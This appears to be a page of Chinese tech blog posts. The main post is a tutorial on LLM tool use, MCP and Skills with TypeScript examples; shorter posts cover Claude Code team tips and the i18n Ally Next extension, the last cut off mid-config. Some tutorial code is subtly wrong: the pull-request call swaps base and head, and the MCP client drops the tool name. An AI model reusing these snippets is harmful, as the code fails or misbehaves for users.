  model: 'glm-4.7-flash',
});

console.log(resp2);

可以看看第二次调用 API 传入的 messages 内容是:

[
  {
    "role": "user",
    "content": "英国的首都是哪里"
  },
  {
    "role": "assistant",
    "content": [
      {
        "type": "text",
        "text": "英国的首都是**伦敦**。"
      }
    ]
  },
  {
    "role": "user",
    "content": "介绍一下这个城市的污染情况"
  }
]

而 resp2 成功返回了伦敦的污染情况, 说明 LLM 确实感知到了上一次对话内容的城市是伦敦.

{
  "id": "msg_20260215115536fd125b1bca954cf6",
  "type": "message",
  "role": "assistant",
  "model": "glm-4.7-flash",
  "content": [
    {
      "type": "text",
      "text": "伦敦作为全球国际化大都市和前工业革命中心,其污染历史可以追溯到维多利亚时代,且至今仍是全球空气质量治理的“典型样本”..." // 我手动省略, 减少篇幅, 并非 LLM 省略
    }
  ],
  "stop_reason": "end_turn"
}

所以你应该也知道了, 所谓的 context windows, 其实可以简单理解为 messages 数组的文本长度, 而不是单条消息的长度.

Tools

原始方法

LLM 就像一个很聪明(虽然有时候会很蠢, 但是我们先假定 LLM 很聪明)的大脑, 但是它只有大脑, 没有眼睛 - 意味着它无法接收外界的信息(除了手动传入的 messages), 比如读一个文件; 没有手 - 意味着它无法做出任何行为, 比如修改一个文件. (可以把 LLM 想象成一个遮住眼睛的霍金).

Tools 就相当于给一个大脑安装了外置眼睛和手. 我们先用最朴素的方式让 LLM 调用工具: 直接在 prompt 里写, 有哪些工具, params 分别是什么, 然后让 LLM 选择一个使用, 并提供 params.

const messages: MessageParam[] = [
  {
    role: 'user',
    content: `写一句话介绍中国农历马年.
      你有以下 tools 可以调用:
      1. { name: "write", description: "write content to a file", params: 
        { "content": {"type": "string", description: "content"} },
        { "path": {"type": "string", description: "the path of the file to write"} },
       }

      2. { name: "read", description: "read content of a file", params: 
        { "path": {"type": "string", description: "the path of the file to read"} }
       }

       请你选择一个工具使用, 并且提供正确的 params. 你需要输出一个 JSON
    `,
  },
];

Output:

{
  "id": "msg_202602151218464370b8983c6c474d",
  "type": "message",
  "role": "assistant",
  "model": "glm-4.7-flash",
  "content": [
    {
      "type": "text",
      "text": "```json\n{\n  \"tool\": \"write\",\n  \"params\": {\n    \"content\": \"中国农历马年象征着奔腾不息的活力与豪迈,寓意着奋进、自由与驰骋。\",\n    \"path\": \"/马年介绍.txt\"\n  }\n}\n```"
    }
  ],
  "stop_reason": "end_turn"
}

可以看到, LLM 做到了选择正确的工具, 提供的参数内容倒是没问题, 但是存在以下几个巨大的问题:

  1. 返回的 text 本质上是个字符串. 虽然在 prompt 里明确要求了需要返回一个 JSON, 但是 LLM 依然返回了一个 JSON markdown, 而不是纯 JSON 字符串.
  2. prompt 并不可靠. LLM 无法做到 100% 遵循 prompt, 尤其是能力比较差的模型, 它可能会输出"好的, 下面是我调用工具的 JSON: xxx". 也就是说, 并不能保证输出一定是一个 JSON markdown.
  3. 就算输出是一个 JSON markdown, 我们还需要去解析这个 markdown, 一旦涉及到嵌套, 也就是 params 里也包含反引号, 会更加复杂.
  4. 无法保证输出的 JSON 100% 遵循了 prompt 里的格式, 比如我在调用的时候就出现过返回了 arguments 字段, 而不是 params.

基于以上问题, Tool Use (或者叫 Tool Call, Function Call, 一个意思. Anthropic 的官方术语是 Tool Use) 被内置进了 LLM, 成为了 LLM 自身的一个能力. 也就是说, 如果一个 LLM 不支持 Tool Use, 那么我们基本是没法在工程层面去做 polyfill, 也就无法实现调用 tool.

标准方法

上面的例子, 换标准的 Tool Use 方法:

const messages: MessageParam[] = [
  {
    role: 'user',
    content: `写一个关于中国农历马年的一句话介绍, 写入 test.txt 里`,
  },
];

const resp = await client.messages.create({
  max_tokens: 1024,
  messages,
  model: 'glm-4.7-flash',
  tools: [
    {
      name: 'write',
      description: 'write content to a file',
      input_schema: {
        type: 'object',
        properties: {
          content: {
            type: 'string',
            description: 'content',
          },
          path: {
            type: 'string',
            description: 'the path of the file to write',
          },
        },
      },
    },
    // read 同理, 省略掉
  ],
});

Output:

{
  "id": "msg_20260215123307fffbbd1b9fd84652",
  "type": "message",
  "role": "assistant",
  "model": "glm-4.7-flash",
  "content": [
    {
      "type": "text",
      "text": "我来写一句关于中国农历马年的介绍并保存到文件中。"
    },
    {
      "type": "tool_use",
      "id": "call_49f0c1dbe920406192ce9347",
      "name": "write",
      "input": {
        "content": "中国农历马年象征着活力、热情与自由,是充满朝气与拼搏精神的吉祥年份。",
        "path": "test.txt"
      }
    }
  ],
  "stop_reason": "tool_use"
}

可以看到这次的 content 里多了一个 tool_use 的 block, 里面写明了需要调用的 tool 的名字和参数. 这个 block 的类型是结构化的, 也就是说可以 100% 保证格式是正确, 符合预期的 (但是不能保证 100% 有这个 block, 取决于 LLM 的能力, 太蠢的 LLM 可能无法决策到底用哪个 tool). 这样我们就可以根据这个结构化的 tool_use block, 去执行对于的函数调用.

结果回传

考虑一个场景: 让 LLM 阅读一个文件并分析内容. 经过上面的内容, 你应该知道具体的流程是:

  1. User 要求 LLM 阅读某个文件并分析内容, 并且传入 read tool schema
  2. LLM 决定使用 read tool, 参数是文件路径
  3. User 根据路径读取文件内容, 然后传给 LLM
  4. LLM 成功输出分析结果
const tools: ToolUnion[] = [
  // 本文省略具体内容, read 和 write 两个 tools
];

const messages: MessageParam[] = [
  {
    role: 'user',
    content: `分析一下 package.json`,
  },
];

// 初始请求
const resp = await client.messages.create({
  max_tokens: 1024,
  messages,
  model: 'glm-4.7-flash',
  tools,
});

// 把 LLM 的第一次返回加入到 messages 里
messages.push({
  role: 'assistant',
  content: resp.content,
});

// 第一次返回大概率会包含 tool_use block
// content 是一个数组, 可能额外包含一个 text, 也可能直接就是一个 tool_use
// content 可能包含多个 tool_use, 用户需要把所有的都调用, 然后根据 tool_use_id 去匹配结果
const toolUseResults: ContentBlockParam[] = [];
for (const block of resp.content) {
  if (block.type === 'tool_use') {
    switch (block.name) {
      case 'read':
        try {
          const content = await readFile(block.input.path, 'utf-8');
          toolUseResults.push({ tool_use_id: block.id, type: 'tool_result', content, is_error: false }); // is_error 告诉 LLM 这个调用是否成功
        } catch (err) {
          toolUseResults.push({
            tool_use_id: block.id,
            type: 'tool_result',
            content: JSON.stringify(err),
            is_error: true,
          });
        }

        break;

      case 'write':
        try {
          await writeFile(block.input.path, block.input.content);

          toolUseResults.push({ tool_use_id: block.id, type: 'tool_result', content: 'success', is_error: false });
        } catch (err) {
          toolUseResults.push({
            tool_use_id: block.id,
            type: 'tool_result',
            content: JSON.stringify(err),
            is_error: true,
          });
        }
        break;
    }
  }
}
// 将 tool use results 传给 LLM
messages.push({ role: 'user', content: toolUseResults });

console.log(inspect(messages));

const resp2 = await client.messages.create({
  max_tokens: 1024,
  messages,
  model: 'glm-4.7-flash',
  tools,
});
console.log(resp2);

第二次传给 LLM 的 messages 为:

[
  {
    "role": "user",
    "content": "分析一下 package.json"
  },
  {
    "role": "assistant",
    "content": [
      {
        "type": "text",
        "text": "我来帮你分析 package.json 文件。首先,我需要读取这个文件来查看它的内容。"
      },
      {
        "type": "tool_use",
        "id": "call_eeb390dfe8f345269ff95f42",
        "name": "read",
        "input": {
          "path": "package.json"
        }
      }
    ]
  },
  {
    "role": "user",
    "content": [
      {
        "tool_use_id": "call_eeb390dfe8f345269ff95f42",
        "type": "tool_result",
        "content": "{\n  \"name\": \"gh-scout\",\n  \"module\": \"index.tsx\",\n  \"type\": \"module\",\n  \"private\": true,\n  \"devDependencies\": {\n    \"@types/bun\": \"latest\"\n  },\n  \"peerDependencies\": {\n    \"typescript\": \"^5\"\n  },\n  \"dependencies\": {\n    \"@anthropic-ai/sdk\": \"^0.74.0\"\n  }\n}\n",
        "is_error": false
      }
    ]
  }
]

第二次从 LLM 返回的结果为:

{
  "id": "msg_2026021512452122fcf4da65474784",
  "type": "message",
  "role": "assistant",
  "model": "glm-4.7-flash",
  "content": [
    {
      "type": "text",
      "text": "## 📦 `package.json` 文件分析\n\n### 基本信息\n\n| 字段 | 值 | 说明 |\n|------|-----|------|\n| **name** | `\"gh-scout\"` | 项目名称,用于 npm 包标识 |\n| **module** | `\"index.tsx\"` | ES 模块入口文件 |\n| **type** | `\"module\"` | 使用 ES6 模块语法 |\n| **private** | `true` | 标记为私有项目,防止误发布到 npm |\n\n### 依赖管理\n\n#### 🔧 开发依赖 (`devDependencies`)\n```json\n\"@types/bun\": \"latest\"\n```\n- 类型定义包,用于 Bun 运行时的 TypeScript 类型支持\n- `\"latest\"` 表示使用最新版本\n\n#### 🤝 对等依赖 (`peerDependencies`)\n```json\n\"typescript\": \"^5\"\n```\n- **关键点**:`typescript` 被标记为对等依赖\n- 这意味着**项目不直接依赖 TypeScript**,而是期望用户环境中已安装 TypeScript\n- 适用于插件/工具类项目,让用户自己选择 TS 版本\n\n#### ⚡ 运行时依赖 (`dependencies`)\n```json\n\"@anthropic-ai/sdk\": \"^0.74.0\"\n```\n- Anthropic AI 的官方 SDK\n- 版本范围 `^0.74.0` 表示安装 0.74.0 或更高版本(不超过主版本号)\n\n---\n\n### 📝 总结\n\n这是一个**轻量级的 TypeScript 工具项目**(`gh-scout`),主要特点:\n\n1. **无运行时依赖**:除了 Anthropic SDK 外,没有其他运行时依赖\n2. **依赖 TypeScript**:用户自己提供 TS 环境\n3. **使用 Bun**:通过 `@types/bun` 表明使用 Bun 运行环境\n4. **模块化设计**:ES 模块类型,入口为 `index.tsx`\n\n项目看起来是一个与 GitHub 相关的工具(从名字 \"gh-scout\" 推测),可能用于分析或监控 GitHub 相关的操作。"
    }
  ],
  "stop_reason": "end_turn"
}

可以看到, LLM 第一次告诉我们需要调用 read tool 来读取文件内容. 我们调用完毕后把结果传给 LLM, LLM 第二次就成功分析出了内容.

插个题外话: 看到这里, 你应该也觉得原生 LLM 的方式实在是太繁琐了.

  • messages 要手动维护
  • tool_use 要手动解析 LLM 的返回, 手动调用, 然后手动把结果传到 messages 数组里
  • 如果 LLM 后续还要调用其他 tools, 还需要手动写一个循环

这正是现在各种 AI Agent 框架的意义, 比如 LangChain, LangGraph, Agno 等, 它们底层其实也都是做这种事情, 和传统领域的框架一样, 把繁琐的步骤都封装好了, 就像写 React 就不需要手动去操作 DOM 一样.

MCP

上面的方式虽然繁琐, 但也完全覆盖了所有场景了. 任何 tool use 都可以用上面的方式去实现. 那么为什么还需要 MCP 呢?

MCP 是什么

MCP (model context protocol) 是一个协议, 定义了 MCP Client 和 MCP Server 的通信方式. MCP 的原理和 AI/LLM 没有任何关系, 只是定义了 tools/resources/prompt 三种信息的通信格式.

MCP 解决了什么问题

假设现在没有 MCP 这个概念.

众所周知, LLM 非常擅长写文档类的东西, 比如 PR description. 所以现在你想让 LLM 帮你在 github 提一个 PR. 你需要先定义一个 tool:

const tools: ToolUnion[] = [
  {
    name: 'github_create_pr',
    description: 'create a PR on github',
    input_schema: {
      type: 'object',
      properties: {
        repo: {
          type: 'string',
          description: 'The repo name. Format: {owner}/{repo_name}',
        },
        source_branch: {
          type: 'string',
          description: 'The source branch name',
        },
        target_branch: {
          type: 'string',
          description: 'The target branch name',
        },
        title: {
          type: 'string',
          description: 'The title of the PR',
        },
        description: {
          type: 'string',
          description: 'The description body of the PR',
        },
      },
    },
  },
];

然后实现这个 tool 的调用过程:

case 'github_create_pr':
  const { repo, source_branch, target_branch, title, description } = block.input;
  const [owner_name, repo_name] = repo.split('/');

  try {
    // 也可以用 gh cli
    const resp = await fetch(`https://api.github.com/repos/${owner_name}/${repo_name}/pulls`, {
      method: 'post',
      headers: {
        accept: 'application/vnd.github+json',
        authorization: 'Bearer GITHUB_TOKEN',
      },
      body: JSON.stringify({
        title,
        body: description,
        base: source_branch,
        head: target_branch,
      }),
    });

    toolUseResults.push({
      tool_use_id: block.id,
      type: 'tool_result',
      content: await resp.text(),
      is_error: false,
    });
  } catch (err) {
    toolUseResults.push({
      tool_use_id: block.id,
      type: 'tool_result',
      content: JSON.stringify(err),
      is_error: true,
    });
  }
  break;

每加一个这样的 tool, 都需要花费大量的精力. 但实际上这些 tools 是高度通用的, 调用 github 是一个很普遍的需求.

此时你可能想到, 那我封装一个 github_tools 不就可以了?

于是你行动力拉满, 自己(或者让 AI)封装了一个 github_tools, 发布到了 npm 上, 其他用户可以像这样使用你的库:

import { tools as githubTools, callTool } from '@arc/github_tools';

const tools = [...myTools, ...githubTools];

for (const block of resp.content) {
  if (block.type === 'tool_use') {
    if (block.name.startsWith('github')) {
      const result = await callTool(block);
    }
  }
}

但是此时又有了两个新的问题:

  1. 你的新项目使用了 Go/Rust, 用不了 npm 包.
  2. 由于 Anthropic API 太贵, 你决定迁移到 DeepSeek API, 但是 DeepSeek 对 Anthropic 的兼容性不是很好(假设), 有些格式不匹配, 导致你的库调用失败.

MCP 的出现就是为了解决上面的问题. MCP 本质上是把 tools 的定义和执行都外置出去了. MCP 分为 Client 和 Server, 其中 Server 就是外置出去的部分, 负责 tools 的定义和执行. 而 Client 就是留在 AI 应用的部分, 负责和 Server 通信:

  • Hi Server, 告诉我有哪些 tools 可以用?
  • Hi Server, 我现在要调用 github_create_pr 这个 tool, 参数是 { xxx }

最简易的 MCP 实现

知道了 MCP 的设计思想, 那么我们完全可以写一个最简易的实现:

const server = async ({ type, body }: { type: string; body?: any }): Promise<string> => {
  if (type === 'list_tools') {
    return JSON.stringify([
      {
        name: 'github_create_pr',
        description: 'create a PR on github',
        input_schema: {
          type: 'object',
          properties: {
            repo: {
              type: 'string',
              description: 'The repo name. Format: {owner}/{repo_name}',
            },
            source_branch: {
              type: 'string',
              description: 'The source branch name',
            },
            target_branch: {
              type: 'string',
              description: 'The target branch name',
            },
            title: {
              type: 'string',
              description: 'The title of the PR',
            },
            description: {
              type: 'string',
              description: 'The description body of the PR',
            },
          },
        },
      },
    ]);
  }

  if (type === 'call_tool') {
    switch (body.name) {
      case 'github_create_pr':
        const { repo, source_branch, target_branch, title, description } = body.input;
        const [owner_name, repo_name] = repo.split('/');
        try {
          const resp = await fetch(`https://api.github.com/repos/${owner_name}/${repo_name}/pulls`, {
            method: 'post',
            headers: {
              accept: 'application/vnd.github+json',
              authorization: 'Bearer GITHUB_TOKEN',
            },
            body: JSON.stringify({
              title,
              body: description,
              base: source_branch,
              head: target_branch,
            }),
          });
          return await resp.text();
        } catch (err) {
          return JSON.stringify(err);
        }
    }
  }

  return 'Unknown type';
};

为了简单起见, 我直接写的是一个函数. 你完全可以将其做成一个 HTTP server, 因为反正这个函数的返回类型是 string, 可以作为 HTTP Response.

然后再写一个 client:

class McpClient {
  async listTools() {
    const tools = await server({ type: 'list_tools' });
    return JSON.parse(tools) as ToolUnion[];
  }

  async callTool(name: string, params: any) {
    const res = await server({ type: 'call_tool', body: params });
    return res;
  }
}

发现了吗? 上面的代码和 LLM 一点关系都没有, 这也是我一直在强调的重点: MCP 是工程设计, 不是 LLM 自身能力. 你完全可以脱离 AI, 直接使用 github 的官方 mcp server, 手动调用里面提供的方法. AI 在这里面唯一做的事情只是帮你决定调用的 tool_name + params.

用我们自己实现的 MCP Client 和 Server 改写上面的代码:

const messages: MessageParam[] = [
  {
    role: 'user',
    content: `分析一下 package.json`,
  },
];

const mcpClient = new McpClient();
const resp = await client.messages.create({
  max_tokens: 1024,
  messages,
  model: 'glm-4.7-flash',
  tools: await mcpClient.listTools(),
});

const toolUseResults: ContentBlockParam[] = [];
for (const block of resp.content) {
  if (block.type === 'tool_use') {
    if (block.name.startsWith('github')) {
      try {
        const result = await mcpClient.callTool(block.name, block.input);
        toolUseResults.push({ tool_use_id: block.id, type: 'tool_result', content: result, is_error: false });
      } catch (err) {
        toolUseResults.push({
          tool_use_id: block.id,
          type: 'tool_result',
          content: JSON.stringify(err),
          is_error: true,
        });
      }
    }
  }
}
messages.push({ role: 'user', content: toolUseResults });

const resp2 = await client.messages.create({
  max_tokens: 1024,
  messages,
  model: 'glm-4.7-flash',
  tools,
});
console.log(resp2);

瞬间简洁了不少. github 相关的 tools 定义和实现都外置到了 MCP Server 上, 这样就做了两层解耦:

  1. 具体语言解耦 - 你可以用任何语言实现 MCP Server, 只要它能处理字符串.
  2. LLM 解耦 - 你可以用任何支持 tool use 的 LLM, MCP 协议里单独定义了字段, 和 LLM 自己的字段无关.

Skills

现在你已经了解到了:

  1. Tool Use 是 LLM 自身的能力.
  2. MCP 不是 LLM 自身的能力, 而是工程设计, 辅助 Tool Use 用的.

那么最近很火的 Skills 又是什么呢? 是取代 MCP 的吗? 当然不是.

LLM 的 context 是非常宝贵的. 如果在系统提示词里放入太多的内容, 会导致系统提示词本身就占据大量 context. 举个例子, 假设你在开发一个 Coding Agent, 你集成了 github MCP Server, 那么每次 LLM API 调用, 都会把完整的 github MCP 相关的 tools 定义全部发给 LLM. 如果绝大部分用户根本就不会用 github 的能力, 那你就平白无故浪费了大量 context.

这就是 Skills 解决的问题: 渐进式披露, 或者叫按需加载.

我个人猜测 Skills 应该也是工程设计, 也不是 LLM 的能力, 因为我们完全可以自己实现一套机制, 用下面的系统提示词:

你是一个全能专家. 你拥有以下技能:

1. 做饭: 川菜, 粤菜, 日料, 英国美食.
2. 旅游: 规划旅游路线, 选择最佳景点, 解说历史遗迹.
3. 写代码: Typescript, Rust, Go, Python.
...
99. 视频制作: 制作爆款视频, 通过制造各种对立吸引流量.
100. Slides 制作: 制作精美的, 吸引领导眼光的 Slides.

所有的技能都被单独放到了 .skills 目录里. 当用户的问题与某个技能相关时, 你需要使用 Read tool 来读取对应技能的全部文档.

看到了吗? 系统提示词里只放了最基本的技能名字和简介(也就是 SKILL.md 开头的 name + description), 没有放具体技能的内容 (比如具体怎么做菜, 具体怎么写代码, 具体制造哪种对立更符合当下的热点), 大幅节约了 context.

如果此时用户问"帮我用 Rust 写个基本的 HTTP Server", 那么 LLM 第一条返回的消息应该就包含一个 read 的 tool_use, 读取 .skills/coding 里所有的内容, 里面就会包含具体的细节, 比如 "不要用 unwrap", "优先使用 axum 框架" 等. 用户把这些内容通过 tool_use_result 发给 LLM 后, LLM 再去写最终的代码给用户.

所以 Skills 也并不是什么神奇的事情, 并不是说 Skills 赋予了 AI 大量额外的能力, 只是单纯地通过按需加载, 节约了 context, 从而可以放大量的 Skills 在目录里. 毕竟在 Skills 出现之前, 你完全也可以把具体的写代码能力写到系统提示词里, LLM 照样会拥有完整的写代码的能力.

总结

本文从 0 开始一步步讲述了 LLM API 的设计, 多轮对话, 原生 Tool Use 的方式, MCP 的原理, Skills 的思想. 让我们回顾一下几个核心要点:

Tool Use - LLM 的核心能力

Tool Use 是 LLM 模型本身的能力, 需要模型在训练时就支持. 它让 LLM 能够:

  • 理解工具的定义和参数
  • 根据用户意图决策应该调用哪个工具
  • 结构化的格式输出工具调用信息

如果一个 LLM 不支持 Tool Use, 我们几乎无法通过工程手段来弥补, 因为用 prompt 的方式既不可靠, 又难以解析.

MCP - 工程层面的协议

MCP 是纯粹的工程设计, 和 AI 完全无关. 它解决的是工程问题:

  • 跨语言: 用任何语言都可以实现 MCP Server, 不局限于某个生态
  • 解耦: tools 的定义和实现从应用代码中分离出去
  • 复用: 同一个 MCP Server 可以被多个应用、多个 LLM 使用
  • 标准化: 统一了工具的通信协议, 避免了各自为政

MCP 的价值在于降低了集成成本, 让开发者可以专注于业务逻辑, 而不是重复造轮子.

Skills - 优化 Context 的策略

Skills 同样是工程层面的优化, 核心思想是:

  • 按需加载: 不把所有能力都塞进系统提示词
  • 渐进式披露: 需要什么能力才加载什么内容
  • 节约 Context: 让有限的 context window 发挥更大价值

Skills 不是新技术, 而是一种最佳实践模式, 在 Skills 概念出现之前我们就可以自己实现类似机制.

三者的关系

Tool Use, MCP, Skills 并不是互相取代的关系, 而是相辅相成:

┌─────────────────────────────────────────┐
│          AI Application                 │
│  ┌────────────────────────────────┐     │
│  │  Skills (按需加载能力)          │     │
│  │  - 系统提示词优化                │     │
│  │  - Context 管理                 │     │
│  └────────────────────────────────┘     │
│                                         │
│  ┌────────────────────────────────┐     │
│  │  MCP Client (工具集成层)        │     │
│  │  - 从 MCP Server 获取工具定义    │     │
│  │  - 调用 MCP Server 执行工具     │     │
│  └────────────────────────────────┘     │
│                    ↓                    │
│  ┌────────────────────────────────┐     │
│  │  LLM with Tool Use (AI 能力层) │     │
│  │  - 理解工具                      │     │
│  │  - 决策调用                      │     │
│  └────────────────────────────────┘     │
└─────────────────────────────────────────┘
                    ↕
        ┌──────────────────────┐
        │   MCP Server (外部)   │
        │   - github tools      │
        │   - filesystem tools  │
        │   - database tools    │
        └──────────────────────┘
  • Tool Use 是基础, 没有它其他都无从谈起
  • MCP 让工具的集成变得简单和标准化
  • Skills 让能力的组织变得高效

实践建议

在实际开发 AI 应用时:

  1. 选择支持 Tool Use 的 LLM: 这是硬性要求, 没有商量余地
  2. 优先使用现有的 MCP Server: 不要重复造轮子, github/filesystem 等常用工具都有官方 MCP Server
  3. 合理组织 Skills: 如果你的系统提示词超过几千 tokens, 考虑用 Skills 模式进行按需加载
  4. 理解工程本质: MCP 和 Skills 都是工程问题, 理解其原理后完全可以根据需求自己实现或调整

最后

希望本文帮助你厘清了 Tool Use, MCP, Skills 三者的关系. 记住核心观点: Tool Use 是 AI 能力, MCP 和 Skills 是工程设计. 它们各司其职, 共同构建了现代 AI Agent 的能力体系.

当你在开发 AI 应用时遇到问题, 先问自己: 这是 LLM 能力的问题, 还是工程设计的问题? 如果是 LLM 能力的问题, 我们就没法自己解决了, 只能换 LLM; 如果是工程设计的问题, 在这个极高速发展的行业, 如果还没有解决方案, 那我们是完全有能力去解决的.

目前属于 LLM 能力(需要训练支持)的概念:

  • Tool Use
  • Thinking
  • Structured Output
  • Multimodal

属于工程设计, 但是很难去 polyfill, 需要服务提供方支持的概念:

  • Streaming
  • Cache
  • Batch API

属于工程设计, 并且比较容易 polyfill 的概念:

  • MCP
  • Skills
  • SubAgent

Claude Code 作者再次分享 Anthropic 内部团队使用技巧

作者 Immerse
2026年2月14日 14:52

大家好,我是 Immerse,一名独立开发者、内容创作者、AGI 实践者。

关注公众号:沉浸式AI,获取最新文章(更多内容只在公众号更新)

个人网站:yaolifeng.com 也同步更新。

转载请在文章开头注明出处和版权信息。

我会在这里分享关于编程独立开发AI干货开源个人思考等内容。

如果本文对您有所帮助,欢迎动动小手指一键三连(点赞评论转发),给我一些支持和鼓励,谢谢!


Boris 又发了一份 Anthropic 内部的 Claude Code 使用心得。

看完觉得挺实用,记录几条:

1. 多开 worktree 同时跑 3-5 个 git worktree,每个开一个独立会话。团队里公认这个最提效。Boris 自己习惯用 git checkout,但大部分人更爱 worktree。

2. 复杂任务先规划 遇到复杂活儿就开 plan mode。可以让一个 Claude 写计划,另一个当幕僚审查。跑偏了就切回去重新规划。验证环节也会专门进计划模式。

3. 错误后更新 CLAUDE.md 每次纠错完都加一句:"更新你的 CLAUDE.md,别再犯同样的错。"反复迭代到错误率明显降下来。

4. 自建 Skills 库 把常用操作做成 Skills 提交到 git,各项目复用。一天做两次以上的事就该做成 Skills。

5. 让 Claude 自己修 bug 接入 Slack MCP,把 bug 讨论帖扔给 Claude,说一句"修它"就行。或者直接"去修失败的 CI",不用管细节。

6. 提高提示词质量 试试"严格审查这些改动,测试不过不准建 PR",让 Claude 当审查员。或者"证明给我看这能跑通",让它对比 main 和功能分支的差异。

7. 追求更优方案 碰到平庸的修复就说:"基于现在掌握的信息,废掉这个方案,实现更优雅的。"任务前写详细规格,减少歧义。描述越具体,输出越好。

8. 终端配置 团队在用 Ghostty 终端,支持同步渲染、24 位色彩和完整 Unicode。用 /statusline 自定义状态栏显示上下文用量和 git 分支。给标签页做颜色编码和命名,一个任务一个标签页。

9. 语音输入 说话比打字快三倍,提示词也会详细很多。macOS 连按两次 fn 就能开启。

10. 用子代理 想让 Claude 多花点算力就加"use subagents"。把任务分给子代理,主代理的上下文窗口保持干净。

详情:x.com/bcherny/status/2017742741636321619 x

i18n Ally Next:重新定义 VS Code 国际化开发体验

作者 Lyda
2026年2月14日 12:38

生成关于 i18n Ally Next 的图片.png

做国际化(i18n)是前端开发中最「看起来简单、做起来要命」的事情之一。翻译文件散落各处,键名拼写错误要到运行时才发现,新增语言要手动逐个补全,源语言改了但翻译没跟上……如果你也深有同感,这篇文章就是写给你的。

为什么要做 i18n Ally Next?

i18n Ally 是 VS Code 生态中最受欢迎的国际化插件之一,由 @antfu 创建。它提供了内联注解、翻译管理、文案提取等一系列强大功能,极大地提升了 i18n 开发体验。

但随着时间推移,原项目的维护逐渐放缓。社区积累了大量 Issue 和 PR 未被处理,一些现代框架(如 Next-intl、Svelte 5)的支持也迟迟没有跟上。更关键的是——原项目没有文档站点,所有使用说明散落在 README 和 Wiki 中,新用户上手成本很高。

i18n Ally Next 正是在这样的背景下诞生的——我们 fork 了原项目,在保留所有经典功能的基础上,持续修复 Bug、新增特性、改善性能,并且从零搭建了完整的文档体系

为什么文档这么重要?

原版 i18n Ally 功能强大,但有一个致命问题:你不知道它能做什么

很多开发者安装后只用到了内联注解这一个功能,对审阅系统、自定义框架、正则匹配、路径匹配等高级功能一无所知。这不是用户的问题,是文档缺失的问题。

i18n Ally Next 的文档站点从以下几个维度重新组织了内容:

🧱 结构化的指南体系

  • 快速开始 — 从安装到看到第一个内联注解,5 分钟搞定
  • 支持的框架 — 完整列出 25+ 支持的框架及其自动检测机制
  • 语言文件格式 — JSON、YAML、JSON5、PO、Properties、FTL……每种格式的用法和注意事项
  • 命名空间 — 大型项目必备的翻译文件组织方式
  • 文案提取 — 从硬编码字符串到 i18n 键的完整工作流
  • 审阅系统 — 团队协作翻译的质量保障
  • 机器翻译 — 8 种翻译引擎的配置与对比

🏗️ 框架最佳实践

不同框架的 i18n 方案差异很大。我们为每个主流框架编写了专属的最佳实践指南:

📋 完整的配置参考

每一个配置项都有:类型、默认值、使用场景说明和代码示例。不再需要猜测某个配置是干什么的。

新增功能详解

🤖 Editor LLM:零配置 AI 翻译

这是 i18n Ally Next 最具创新性的功能之一。它直接调用你编辑器内置的大语言模型进行翻译——无需 API Key,无需额外配置

{ "i18n-ally-next.translate.engines": ["editor-llm"] }

它会自动检测你的编辑器环境:

  • VS Code — 调用 GitHub Copilot
  • Cursor — 调用 Cursor 内置模型
  • Windsurf — 调用 Windsurf 内置模型

更强大的是,Editor LLM 支持批量翻译。当你选择翻译多个键时,它会将同一语言对的翻译请求合并为一次 API 调用,按 JSON 格式批量处理,大幅提升翻译速度并降低 token 消耗。

你也可以指定模型:

{ "i18n-ally-next.translate.editor-llm.model": "gpt-4o" }

🦙 Ollama:完全离线的本地翻译

对于有数据安全要求的团队,Ollama 引擎让你可以使用本地部署的大模型进行翻译,数据完全不出本机

{
  "i18n-ally-next.translate.engines": ["ollama"],
  "i18n-ally-next.translate.ollama.apiRoot": "http://localhost:11434",
  "i18n-ally-next.translate.ollama.model": "qwen2.5:latest"
}

通过 OpenAI 兼容 API 调用,支持任何 Ollama 上可用的模型。翻译 prompt 经过专门优化,能正确保留 {0}{name}{{variable}} 等占位符。

🔌 8 种翻译引擎全覆盖

引擎 特点 适用场景
Google 免费、语言覆盖广 日常开发
Google CN 国内可直接访问 国内开发者
DeepL 翻译质量最佳 面向用户的正式翻译
OpenAI 灵活、可自定义 API 地址 需要高质量 + 自定义
Ollama 完全离线、数据安全 企业内网环境
Editor LLM 零配置、批量翻译 快速迭代
百度翻译 国内 API、中文优化 中文项目
LibreTranslate 开源自托管 完全自主可控

引擎可以配置多个作为 fallback:

{ "i18n-ally-next.translate.engines": ["editor-llm", "deepl", "google"] }

🕵️ 陈旧翻译检测

这是一个容易被忽视但极其重要的功能。当源语言的文案发生变更时,其他语言的翻译可能已经过时了——但你不会收到任何提醒。

i18n Ally Next 的陈旧翻译检测(Stale Translation Check)解决了这个问题:

  1. 插件会记录每个键的源语言快照
  2. 当你运行检测命令时,它会对比快照与当前值
  3. 发现变更后,你可以选择:
    • 全部重新翻译 — 一键将所有过期翻译发送到翻译引擎
    • 逐个确认 — 逐条查看变更内容,决定是否重新翻译
    • 仅更新快照 — 确认当前翻译仍然有效,更新基准

这意味着你的翻译永远不会「悄悄过期」。

🔍 全项目扫描与批量提取

单文件的硬编码检测很有用,但真正的 i18n 迁移需要全项目级别的能力。

「扫描并提取全部」命令可以:

  1. 扫描项目中所有支持的文件(可通过 glob 配置范围)
  2. 检测每个文件中的硬编码字符串
  3. 显示扫描结果摘要(N 个文件,M 个硬编码字符串)
  4. 确认后自动批量提取,为每个字符串生成键名并写入 locale 文件
{
  "i18n-ally-next.extract.scanningInclude": ["src/**/*.{ts,tsx,vue}"],
  "i18n-ally-next.extract.scanningIgnore": ["src/generated/**"],
  "i18n-ally-next.extract.keygenStrategy": "slug",
  "i18n-ally-next.extract.keygenStyle": "camelCase"
}

📝 审阅系统(v2的功能)

翻译不是一个人的事。i18n Ally Next 内置了审阅系统(Review System),支持:

  • 逐条审阅翻译结果,标记为「通过」或「需修改」
  • 留下评论,与团队成员异步协作
  • 审阅数据以 JSON 存储在项目中,可纳入版本控制
  • 翻译结果可先保存为候选翻译translate.saveAsCandidates),审阅通过后再正式写入

这意味着翻译质量不再是黑盒——每一条翻译都有迹可循。

自定义框架:支持任意 i18n 方案

这是 i18n Ally Next 最灵活的功能之一。无论你使用什么 i18n 库,甚至是团队自研的方案,都可以通过一个 YAML 配置文件让插件完美支持。

为什么需要自定义框架?

内置框架覆盖了 25+ 主流方案,但现实中总有例外:

  • 公司内部封装的 i18n 工具函数
  • 使用了非标准的翻译函数名(如 __(), lang(), msg()
  • 新兴框架尚未被内置支持
  • 需要同时匹配多种调用模式

如何配置?

在项目根目录创建 .vscode/i18n-ally-next-custom-framework.yml

# 指定生效的文件类型
languageIds:
  - typescript
  - typescriptreact
  - vue

# 正则匹配翻译函数调用,{key} 是占位符
usageMatchRegex:
